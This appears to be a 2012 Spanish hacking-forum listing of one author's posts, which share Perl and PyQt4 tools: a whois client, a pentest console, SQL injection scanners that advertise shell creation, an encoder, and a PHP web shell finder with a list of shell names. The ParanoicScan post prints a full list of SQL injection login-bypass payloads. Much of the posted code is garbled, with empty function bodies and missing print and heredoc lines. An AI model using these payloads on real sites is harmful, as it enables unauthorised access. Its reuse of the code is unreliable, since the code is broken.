|
231
|
Programación / Scripting / [PyQT4] Whois Online 0.2
|
en: 27 Agosto 2012, 00:24 am
|
Queria hacer mi primer programa en PyQT4 y quise empezar con este simple cliente whois. Una imagen de como quedo El codigo #!usr/bin/python #Whois Online 0.2 #Coded By Doddy H import sys,urllib2,re from PyQt4 import QtCore,QtGui nave = urllib2.build_opener() nave.add_header = [('User-Agent','Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.5) Gecko/2008120122 Firefox/3.0.5')] def tomar(web,vars) : return nave.open(web,vars).read() def whois(domain): try: code = tomar("http://networking.ringofsaturn.com/Tools/whois.php","domain="+domain+"&"+"submit=submit") if (re.findall("<PRE>(.*?)<\/PRE>",code,re.S)): found = re.findall("<PRE>(.*?)<\/PRE>",code,re.S) resul = found[0] resul = re.sub(""","",resul) resul = re.sub(">>>","",resul) resul = re.sub("<<<","",resul) return resul else: return "Not Found" except: print "[-] Page offline\n" def comando(): new.console.clear() new.console.appendPlainText(whois(str(new.dom.text()))) app = QtGui.QApplication(sys.argv) new = QtGui.QWidget() new.setWindowTitle("Whois Online 0.2 || Coded By Doddy H") new.resize(450,420) new.setStyleSheet("QWidget {background-color: #000000;color: #00FF00}") new.label1 = QtGui.QLabel("Domain : ",new) new.label1.setStyleSheet("QWidget {background-color: #000000;color: #00FF00;font: normal 17px Verdana}") new.label1.setGeometry(20,23,80,20) new.dom = QtGui.QLineEdit(new) new.dom.setStyleSheet("QWidget {background-color: #000000; color: #00FF00;border: 2px solid #00FF00}") new.dom.setGeometry(95,23,200,25) new.search = QtGui.QPushButton("Search",new) new.search.setGeometry(310,22,110,28) new.search.setStyleSheet("QWidget {background-color: #000000; color: #00FF00;border: 2px solid #00FF00}") new.label2 = QtGui.QLabel("Console",new) new.label2.setStyleSheet("QWidget {background-color: #000000;color: #00FF00;font: normal 17px Verdana}") new.label2.setGeometry(200,70,70,20) new.console = QtGui.QPlainTextEdit(new) new.console.setGeometry(50,100,350,300) new.console.setStyleSheet("QWidget {background-color: #000000; color: #00FF00;border: 2px solid #00FF00}") new.connect(new.search,QtCore.SIGNAL("clicked()"),comando) new.show() sys.exit(app.exec_()) # The End ?
|
|
|
232
|
Programación / Scripting / [Perl] Project STALKER 1.0
|
en: 25 Agosto 2012, 16:55 pm
|
Nueva y posiblemente la ultima version de esta consola para usar en los cybers. Los comandos son - cmd_getip <host>
- cmd_getlink <page>
- cmd_getprocess
- cmd_killprocess <pid process>
- cmd_conec <host> <port> <command>
- cmd_allow <host>
- cmd_paths <page>
- cmd_encodehex <text>
- cmd_decodehex <text>
- cmd_encodeascii <text>
- cmd_decodeascii <text>
- cmd_encodebase <text>
- cmd_decodebase <text>
- cmd_scanport <host>
- cmd_panel <page>
- cmd_getpass <hash>
- cmd_kobra <page>
- cmd_ftp <host> <user> <pass>
- cmd_mysql <host> <user> <pass>
- cmd_locate <ip>
- cmd_whois <dom>
- cmd_navegator
- cmd_scangoogle
- cmd_help
- cmd_exit
Tambien se pueden usar los comandos normales. Una imagen El codigo esta aca.
|
|
|
233
|
Programación / Scripting / [Perl] Project ParanoicScan 1.0
|
en: 4 Agosto 2012, 16:02 pm
|
Hoy les traigo un programa con las siguientes opciones : [+++] Opciones [++] Google & Bing Scanner - XSS
- SQL GET/POST
- SQL GET
- SQL GET + Admin
- Directory listing
- MSSQL
- Jet Database
- Oracle
- LFI
- RFI
- Full Source Discloure
- HTTP Information
[++] SQLi Scanner [++] Bypass Admin [++] FSD Exploit Manager [++] Paths Finder [++] Locate IP [++] Crack MD5 [++] Panel Finder [++] Console El programa depende de un archivo de texto llamado bypass.txt El contenido es el siguiente admin'-- 'or'1'='1 'or' ' OR ' '=' ' or 0=0 -- " or 0=0 -- or 0=0 -- ' or 0=0 # " or 0=0 # or 0=0 # ' or 'x'='x " or "x"="x ') or ('x'='x ' or 1=1-- " or 1=1-- or 1=1-- ' or a=a-- " or "a"="a ') or ('a'='a ") or ("a"="a hi" or "a"="a hi" or 1=1 -- hi' or 1=1 -- hi' or 'a'='a hi') or ('a'='a hi") or ("a"="a - ' or 'x'='x - ' or 'x'='x 'or'1 ou 'or''=' ' or 'x'='x admin' or 1==1 ' OR "=' 'or'1'='1
Una imagen El codigo lo pueden encontrar aca
|
|
|
234
|
Programación / Scripting / [Perl Tk] Project Arsenal X
|
en: 21 Julio 2012, 17:23 pm
|
Hace tiempo que queria hacer un programa parecido al famoso juego Hackthegame , intente hacer un programa con un diseño parecido y algunas de sus funciones. Las opciones que el programa tiene son : - Gmail Inbox
- Client Whois
- Ping
- Downloader
- GetIP
- LocateIP
- K0bra SQLI Scanner
- GetPass
- PanelControl
- PortScanner
- Multi Cracker
- Ejecucion de comandos en la consola
Una imagen Los modulos que necesita el programa son #ppm install http://www.open.com.au/radiator/free-downloads/Net-SSLeay.ppd #http://search.cpan.org/~sullr/IO-Socket-SSL-1.54/SSL.pm #http://search.cpan.org/~fays/GMail-Checker-1.04/Checker.pm #ppm install http://www.bribes.org/perl/ppm/HTML-Strip.ppd #ppm install http://trouchelle.com/ppm/Net-Telnet.ppd #ppm install http://trouchelle.com/ppm/Mail-POP3Client.ppd
El codigo esta aca.
|
|
|
236
|
Programación / Scripting / [Perl] K0bra 1.6
|
en: 14 Julio 2012, 19:38 pm
|
Nueva version de este scanner SQLI. Las opciones son - Comprobar vulnerabilidad
- Buscar numero de columnas
- Buscar automaticamente el numero para mostrar datos
- Mostras tablas
- Mostrar columnas
- Mostrar bases de datos
- Mostrar tablas de otra DB
- Mostrar columnas de una tabla de otra DB
- Brutear tablas y columnas
- Mostrar usuarios de mysql.user
- Buscar archivos usando load_file
- Mostrar un archivo usando load_file
- Mostrar valores
- Mostrar informacion sobre la DB
- Crear una shell usando outfile
- Todo se guarda en logs ordenados
- Mejor manejo de control+c
- Codigo identado (gracias a perltidy)
El codigo lo pueden ver aca
|
|
|
237
|
Programación / Scripting / [Perl Tk] Codificator 0.2
|
en: 7 Julio 2012, 16:06 pm
|
Version Tk de este codificador. Una imagen El codigo #!usr/bin/perl #Codificator 0.2 #Version Tk #Coded By Doddy H use Tk; use Tk::Dialog; use Digest::MD5; use Digest::SHA1; use MIME::Base64; use URI::Escape; if ( $^O eq 'MSWin32' ) { use Win32::Console; Win32::Console::Free(); } $header = "This tool encode text in : Hex SHA1 MD5 Base64 ASCII URL "; my $color_fondo = "black", my $color_texto = "white"; $window = MainWindow->new( -background => "black", -foreground => "white" ); $window->geometry("380x370+80+80"); $window->title("Codificator 0.2 || Coded By Doddy H"); $window->resizable( 0, 0 ); $menula = $window->Frame( -relief => "sunken", -bd => 1, -background => $color_fondo, -foreground => $color_texto ); my $menulnowaxm = $menula->Menubutton( -text => "Options", -underline => 1, -background => $color_fondo, -foreground => $color_texto, -activebackground => $color_texto )->pack( -side => "left" ); my $aboutnowaxm = $menula->Menubutton( -text => "About", -underline => 1, -background => $color_fondo, -foreground => $color_texto, -activebackground => $color_texto )->pack( -side => "left" ); my $exitnowaxm = $menula->Menubutton( -text => "Exit", -underline => 1, -background => $color_fondo, -foreground => $color_texto, -activebackground => $color_texto )->pack( -side => "left" ); $menula->pack( -side => "top", -fill => "x" ); $menulnowaxm->command( -label => "Encode", -background => $color_fondo, -foreground => $color_texto, -command => \&encode ); $menulnowaxm->command( -label => "Decode", -background => $color_fondo, -foreground => $color_texto, -command => \&decode ); $menulnowaxm->command( -label => "Clean", -background => $color_fondo, -foreground => $color_texto, -command => \&clear ); $aboutnowaxm->command( -label => "About", -background => $color_fondo, -foreground => $color_texto, -command => \&about ); $exitnowaxm->command( -label => "Exit", -background => $color_fondo, -foreground => $color_texto, -command => \&exitnow ); $window->Label( -font => "Impact", -background => $color_fondo, -foreground => $color_texto, -text => "Options : " )->place( -x => 110, -y => 53 ); $window->Optionmenu( -background => $color_fondo, -foreground => $color_texto, -activebackground => $color_texto, -options => [ [ HEX => HEX ], [ ASCII => ASCII ], [ BASE64 => BASE64 ], [ MD5 => MD5 ], [ SHA1 => SHA1 ], [ URL => URL ] ], -variable => \$var, -textvariable => \$codificacion )->place( -x => 180, -y => 53 ); my $rot = $window->Text( -background => $color_fondo, -foreground => $color_texto, -width => 45, -height => 15 )->place( -x => 30, -y => 120 ); $rot->insert( 'end', $header ); MainLoop; sub about { $window->Dialog( -title => "About", -buttons => ["OK"], -text => "Coded By Doddy H", -background => $color_fondo, -foreground => $color_texto, -activebackground => $color_texto )->Show(); } sub exitnow { } sub clear { $rot->delete( '0.1', 'end' ); } sub encode { $text = $rot->get( "1.0", "end" ); &clear; if ( $codificacion eq "HEX" ) { $result = hexar($text); $rot->insert( 'end', $result ); } elsif ( $codificacion eq "SHA1" ) { $sha1 = Digest::SHA1->new->add($text); my $digest = $sha1->digest; $rot->insert( 'end', $digest ); } elsif ( $codificacion eq "BASE64" ) { $result = encode_base64($text); $rot->insert( 'end', $result ); } elsif ( $codificacion eq "URL" ) { my $codec = Badger::Codec::URL->new(); my $ya = $codec->encode($text); $rot->insert( 'end', $ya ); } elsif ( $codificacion eq "ASCII" ) { $result = ascii($text); $rot->insert( 'end', $result ); } elsif ( $codificacion eq "MD5" ) { $digest = Digest::MD5->md5_hex($text); $rot->insert( 'end', $digest ); } else { $window->messageBox( -message => "What?!\n" ); } } sub decode { $text = $rot->get( "1.0", "end" ); &clear; if ( $codificacion eq "HEX" ) { $result = decodera($text); $rot->insert( 'end', $result ); } elsif ( $codificacion eq "SHA1" ) { $window->messageBox( -message => "What?! , it's not possible with a function decoded\n" ); } elsif ( $codificacion eq "BASE64" ) { $result = decode_base64($text); $rot->insert( 'end', $result ); } elsif ( $codificacion eq "URL" ) { my $codec = Badger::Codec::URL->new(); my $ya = $codec->decode($text); $rot->insert( 'end', $ya ); } elsif ( $codificacion eq "ASCII" ) { $result = ascii_de($text); $rot->insert( 'end', $result ); } elsif ( $codificacion eq "MD5" ) { $window->messageBox( -message => "What?! , it's not possible with a function decoded\n" ); } else { $window->messageBox( -message => "What?!\n" ); } } sub hexar { my $string = $_[0]; $hex = '0x'; for ( split //, $string ) { } } sub ascii { } sub decodera { $_[0] =~ s/^0x//; } sub ascii_de { } # The End ?
|
|
|
238
|
Programación / Scripting / [Perl] Codificator 0.2
|
en: 7 Julio 2012, 16:06 pm
|
Nueva version de este script para codificar y decodificar en : - Hex
- SHA1
- MD5 (solo encode)
- Base64
- ASCII
- URL
El codigo #!usr/bin/perl #Codificator 0.2 #Coded By Doddy H #This tool encode in : # #Hex #MD5 #Base64 #ASCII #URL # # use Digest::MD5; use Digest::SHA1; use MIME::Base64; use URI::Escape; sub head { clean(); @@@ @ @ @ @ @ @ @ @ @ @ @ @@@ @@ @ @ @@@ @ @@@ @@@ @@@ @@@ @ @ @ @ @ @ @@ @ @ @ @ @ @ @ @ @ @ @@ @ @ @ @ @ @ @ @ @ @@@@ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @@ @ @ @ @ @ @ @@ @ @ @ @ @@@ @@@ @@ @ @ @ @ @@@ @@ @ @@ @@@ @ ); } head(); print "\n[+] Options\n\n"; 1 - MD5 encode 2 - Base64 encode 3 - Base64 decode 4 - Ascii encode 5 - Ascii decode 6 - Hex encode 7 - Hex decode 8 - URL encode 9 - URL decode 10 - Exit ); while (true) { print "\n\n[+] Option : "; chomp( my $op = <stdin> ); if ( $op eq 1 ) { chomp( my $string = <stdin> ); print "\n\n[+] MD5 : " . Digest ::MD5->md5_hex($string) . "\n\n"; } elsif ( $op eq 2 ) { chomp( my $string = <stdin> ); print "\n\n[+] Base64 : " . encode_base64 ($string); } elsif ( $op eq 3 ) { chomp( my $string = <stdin> ); print "\n\n[+] Base64 Decode : " . decode_base64 ($string) . "\n"; } elsif ( $op eq 4 ) { chomp( my $string = <stdin> ); } elsif ( $op eq 5 ) { chomp( my $string = <stdin> ); $string . "\n"; } elsif ( $op eq 6 ) { chomp( my $string = <stdin> ); $hex = "0x"; for ( split //, $string ) { } print "\n\n[+] Hex : " . $hex . "\n"; } elsif ( $op eq 7 ) { chomp( my $string = <stdin> ); $string =~ s/^0x//; print "\n\n[+] Hex decode : " . $encode . "\n"; } elsif ( $op eq 8 ) { chomp( my $string = <stdin> ); print "\n\n[+] URL Encode : " . uri_escape ($string) . "\n"; } elsif ( $op eq 9 ) { chomp( my $string = <stdin> ); print "\n\n[+] URL Decode : " . uri_unescape ($string) . "\n"; } elsif ( $op eq 10 ) { copyright(); } else { print "[+] Write good stupid !\n"; } } sub clean { my $os = $^O; if ( $os =~ /Win32/ig ) { } else { } } sub copyright { print "\n-- == Doddy Hackman 2012 == --\n\n"; <stdin>; } # The End ?
|
|
|
239
|
Programación / Scripting / [Perl Tk] Destroyer Shells 0.4
|
en: 30 Junio 2012, 01:39 am
|
Version Tk de un script para buscar y borrar phpshells. Una imagen El codigo #!usr/bin/perl #DestroyerShells 0.4 #Version Tk #Coded By Doddy H use Tk; use Tk::Dialog; use LWP::UserAgent; use File::Find; my @nombres = ( "C99Shell", "r57shell", "DxShell", "HiddenShell", "~ Andr3a92 ~ Sh3ll ~", "CShell", "Dark Shell", "GsC SheLL", "N3fa5t1cA Sh3ll", "ONBOOMSHELL", "StAkeR ~ Shell", "MoDDeD By KinG-InFeT", "31337 Shel" ); my @founds; #if ($^O eq 'MSWin32') { #use Win32::Console; #Win32::Console::Free(); #} my $color_texto = "orange"; my $color_fondo = "black"; my $newdaxz = MainWindow->new( -background => $color_fondo, -foreground => $color_texto ); $newdaxz->title("DestroyerShells 0.4 || Coded By Doddy H"); $newdaxz->geometry("345x350+50+50"); $newdaxz->resizable( 0, 0 ); $menula = $newdaxz->Frame( -relief => "sunken", -bd => 1, -background => $color_fondo, -foreground => $color_texto ); my $menulnowaxm = $menula->Menubutton( -text => "Options", -underline => 1, -background => $color_fondo, -foreground => $color_texto, -activebackground => $color_texto )->pack( -side => "left" ); my $aboutnowaxm = $menula->Menubutton( -text => "About", -underline => 1, -background => $color_fondo, -foreground => $color_texto, -activebackground => $color_texto )->pack( -side => "left" ); my $exitnowaxm = $menula->Menubutton( -text => "Exit", -underline => 1, -background => $color_fondo, -foreground => $color_texto, -activebackground => $color_texto )->pack( -side => "left" ); $menula->pack( -side => "top", -fill => "x" ); $menulnowaxm->command( -label => "Scan", -background => $color_fondo, -foreground => $color_texto, -command => \&scan ); $menulnowaxm->command( -label => "Delete Shells", -background => $color_fondo, -foreground => $color_texto, -command => \&delnow ); $aboutnowaxm->command( -label => "About", -background => $color_fondo, -foreground => $color_texto, -command => \&aboutxa ); $exitnowaxm->command( -label => "Exit", -background => $color_fondo, -foreground => $color_texto, -command => \&exitnow ); $newdaxz->Label( -text => "Directory : ", -font => "Impact", -background => $color_fondo, -foreground => $color_texto )->place( -x => 20, -y => 40 ); my $dir = $newdaxz->Entry( -text => "C:/xampp/htdocs", -width => 37, -background => $color_fondo, -foreground => $color_texto )->place( -x => 95, -y => 45 ); $newdaxz->Label( -text => "Shells Founds", -font => "Impact", -background => $color_fondo, -foreground => $color_texto )->place( -x => 120, -y => 80 ); my $files = $newdaxz->Listbox( -width => 40, -height => 10, -background => $color_fondo, -foreground => $color_texto )->place( -x => 50, -y => 130 ); $newdaxz->Label( -text => "Status : ", -font => "Impact", -background => $color_fondo, -foreground => $color_texto )->place( -x => 63, -y => 300 ); my $tatus = $newdaxz->Entry( -width => 25, -background => $color_fondo, -foreground => $color_texto )->place( -x => 120, -y => 305 ); MainLoop; sub delnow { my $total = $files->size - 1; for my $number ( 0 .. $total ) { my $ruta = $files->get($number); } $files->delete( "0.0", "end" ); } sub scan { $files->delete( "0.0", "end" ); my $dir = $dir->get; find( \&finder, $dir ); sub finder { my $file = $_; if ( -f $file ) { if ( $file =~ /\.txt$/ or $file =~ /\.php$/ ) { my $abrir = $File::Find::name; $tatus->configure( -text => $abrir ); my $words = join q(), <FILE>; for my $rastro (@nombres) { $newdaxz->update; if ( $words =~ /$rastro/ig ) { $files->insert( "end", $abrir ); } } } } } $tatus->configure( -text => " " ); } sub aboutxa { $newdaxz->Dialog( -title => "About", -buttons => ["OK"], -text => "Coded By Doddy H", -background => $color_fondo, -foreground => $color_texto, -activebackground => $color_texto )->Show(); } sub exitnow { } #The End ?
|
|
|
240
|
Programación / Scripting / [Perl] Destroyer Shells 0.4
|
en: 30 Junio 2012, 01:38 am
|
Version mejorada de este script para buscar y borrar shells. #!usr/bin/perl #DestroyerShells 0.4 #Coded By Doddy H use File::Find; my @nombres = ( "C99Shell", "r57shell", "DxShell", "HiddenShell", "~ Andr3a92 ~ Sh3ll ~", "CShell", "Dark Shell", "GsC SheLL", "N3fa5t1cA Sh3ll", "ONBOOMSHELL", "StAkeR ~ Shell", "MoDDeD By KinG-InFeT", "31337 Shel" ); my @founds; head(); print "\n[+] Directory : "; chomp( my $dir = <stdin> ); start($dir); copyright(); sub start { print "\n\n[+] Searching in directory $dir\n\n"; find( \&finder, $dir ); sub finder { my $file = $_; if ( -f $file ) { if ( $file =~ /\.txt$/ or $file =~ /\.php$/ ) { my $abrir = $File::Find::name; my $words = join q(), <FILE>; for my $rastro (@nombres) { if ( $words =~ /$rastro/ig ) { } } } } } my @founda = repes(@founds); print "[+] Number of files found : " . int(@founda) . "\n\n"; if ( int(@founda) ne "0" ) { for (@founda) { print "[+] File Found : $_\n"; } print "\n[+] Delete files y/n : "; chomp( my $op = <stdin> ); if ( $op =~ /y/ig ) { print "\n[+] Files Deleted\n"; } elsif ( $op =~ /n/ig ) { print "\n[+] Good Bye\n"; } else { print "\n[+] Write good stupid\n"; } } } sub repes { foreach $test (@_) { push @limpio, $test unless $repe{$test}++; } } sub head { @@@@ @@@ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @@@ @@ @@ @@ @@@ @ @ @@@ @@ @ @ @@ @@@ @ @ @@ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @@@ @@ @ @ @ @ @ @ @ @ @ @@@@@ @ @ @ @ @ @ @ @@@@@ @ @ @ @ @@@@@ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @@ @ @ @ @ @ @ @ @ @ @ @ @ @ @@@@ @@@ @@ @ @ @@@ @ @@@ @ @@@ @ @ @@@ @ @ @@ @ @@ ); } sub copyright { print "\n\n-- == Doddy Hackman 2012 == --\n\n"; <stdin>; } # The End ?
|
|
|
|
|
|
|